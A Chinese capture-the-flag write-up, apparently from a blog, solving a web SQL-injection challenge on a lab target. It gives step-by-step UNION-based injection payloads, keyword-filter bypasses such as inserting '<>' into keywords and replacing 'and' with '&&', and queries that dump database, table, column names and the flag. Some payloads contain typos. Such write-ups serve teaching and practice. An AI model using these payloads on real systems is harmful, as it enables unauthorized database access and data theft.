“百度杯”CTF比赛 九月场-SQL
“百度杯”CTF比赛 九月场
SQL:
题目类型:web
题目描述:出题人就告诉你这是个注入,有种别走!打开题目靶机在url栏上看到id=1,又根据提示说明这是一道SQL注入的题型:
解题方法:这里我们知道是SQL注入之后,就可以开始进行注入了
第一步:先判断它的注入类型
我们看一下id=2是显示什么结果:
我们输入id=2-1,来进行判断是否是数字型注入:
返回的页面和id=1的页面一样,说明这里的SQL语句可以成功的计算出2-1的等式,因此他是数字型注入
因为这里是数值型注入,没有闭合条件,可以直接在后面构造SQL语句,这里我们采用SQL联合注入的方式
第二步:我们判断它的字段数:
显示这样的页面,说明注入失败,但是这里我们的SQL语句正确,说明这里有关键语句被过滤
1.我们先使用大小写的方式来看看能不能把关键字绕过:
?id=1 OrDeR By 1
说明大小写不行,绕不过去
2.我们猜测可能空格被过滤了,用/**/
来尝试一下把空格绕过一下
?id=1/**/order/**/by/**/1
3.试试用双写来绕过一下关键字:
?id=1 ororderder bbyy 1
还是不行
4.尝试使用内联注释的方式:
?id=1 /*order by*/ 1
失败!
5.将关键字进行URL编码也不行
最后实在是想不到了,上网查了一下Writeup,发现可以使用<>插入到关键字中间来进行绕过:
?id=1 o<>rder by 1
成功!
来判断一下它的字段数:
爆出它的字段数为3,当字段为4时回显空白
第三步:来判断他的显示位:
构造下面payload:
?id=1 un<>ion s<>elect 1,2,3
爆出它的显示位是在第二列,后面就可以构造语句,控制输出显示在第二列
第四步:爆它的数据库名:
构造下面payload:
?id=1 u<>ion s<>elect 1,database(),3
爆出它的数据库名是sqli
第五步:爆出它的表名:
构造下面paylaod:
?id=1 u<>nion s<>elect 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'
第六步:爆出它的字段名:
构造下面payload:
?id=1 u<>nion s<>elect 1,group_concat(column_name),3 from information_schema.columns where table_schema='sqli' and table_name='info'
发现失败!可能是and和or被过滤了,用&&和||来尝试一下绕过:
?id=1 u<>nion s<>elect 1,group_concat(column_name),3 from information_schema.columns where table_schema='sqli' && table_name='info'
成功!找到了flag的字段名:
第七步:爆出flag:
payload:
?id=1 u<>nion s<>elect 1,group_concat(flAg_T5ZNdrm),3 from info
得到flag
做完发现,查看网页源码,出题人给了很明显的提示,还把SQL查询语句写上去了:
这里我们学到了一种新的关键字被过滤的绕过方式,把<>插入到关键字中来进行绕过
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通